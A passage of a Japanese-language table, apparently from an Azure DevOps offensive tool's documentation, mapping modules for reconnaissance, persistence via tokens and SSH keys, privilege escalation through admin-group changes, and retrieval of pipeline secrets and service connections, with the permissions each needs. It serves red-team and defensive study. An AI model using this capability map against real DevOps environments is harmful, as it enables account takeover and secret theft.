| 偵察 | getbuildlogs | はい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators | |
| 偵察 | listbuildlogs | はい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators | |
| 偵察 | searchbuildlogs | はい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators | |
| 永続化 | createpat | いいえ | |
| 永続化 | listpat | いいえ | |
| 永続化 | removepat | いいえ | |
| 永続化 | createsshkey | いいえ | |
| 永続化 | listsshkey | いいえ | |
| 永続化 | removesshkey | いいえ | |
| 権限昇格 | addprojectadmin | はい - Project Administrator、Project Collection Administrator または Project Collection Service Accounts | |
| 権限昇格 | removeprojectadmin | はい - Project Administrator、Project Collection Administrator または Project Collection Service Accounts | |
| 権限昇格 | addbuildadmin | はい - Project Administrator、Project Collection Administrator または Project Collection Service Accounts | |
| 権限昇格 | removebuildadmin | はい - Project Administrator、Project Collection Administrator または Project Collection Service Accounts | |
| 権限昇格 | addcollectionadmin | はい - Project Collection Administrator または Project Collection Service Accounts | |
| 権限昇格 | removecollectionadmin | はい - Project Collection Administrator または Project Collection Service Accounts | |
| 権限昇格 | addcollectionbuildadmin | はい - Project Collection Administrator または Project Collection Service Accounts | |
| 権限昇格 | removecollectionbuildadmin | はい - Project Collection Administrator または Project Collection Service Accounts | |
| 権限昇格 | addcollectionbuildsvc | はい - Project Collection Administrator、Project Colection Build Administrators または Project Collection Service Accounts | |
| 権限昇格 | removecollectionbuildsvc | はい - Project Collection Administrator、Project Colection Build Administrators または Project Collection Service Accounts | |
| 権限昇格 | addcollectionsvc | はい - Project Collection Administrator または Project Collection Service Accounts | |
| 権限昇格 | removecollectionsvc | はい - Project Collection Administrator または Project Collection Service Accounts | |
| 権限昇格 | getpipelinevars | はい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators | |
| 権限昇格 | getpipelinesecrets | はい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators | |
| 権限昇格 | getvariablegroups | はい - Contributors または Readers または Build Administrators または Project Administrators または Project Team Member または Project Collection Test Service Accounts または Project Collection Build Service Accounts または Project Collection Build Administrators または Project Collection Service Accounts または Project Collection Administrators | |
| 権限昇格 | getserviceconnections | はい - Project Administrator、Project Collection Administrator または Project Collection Service Accounts |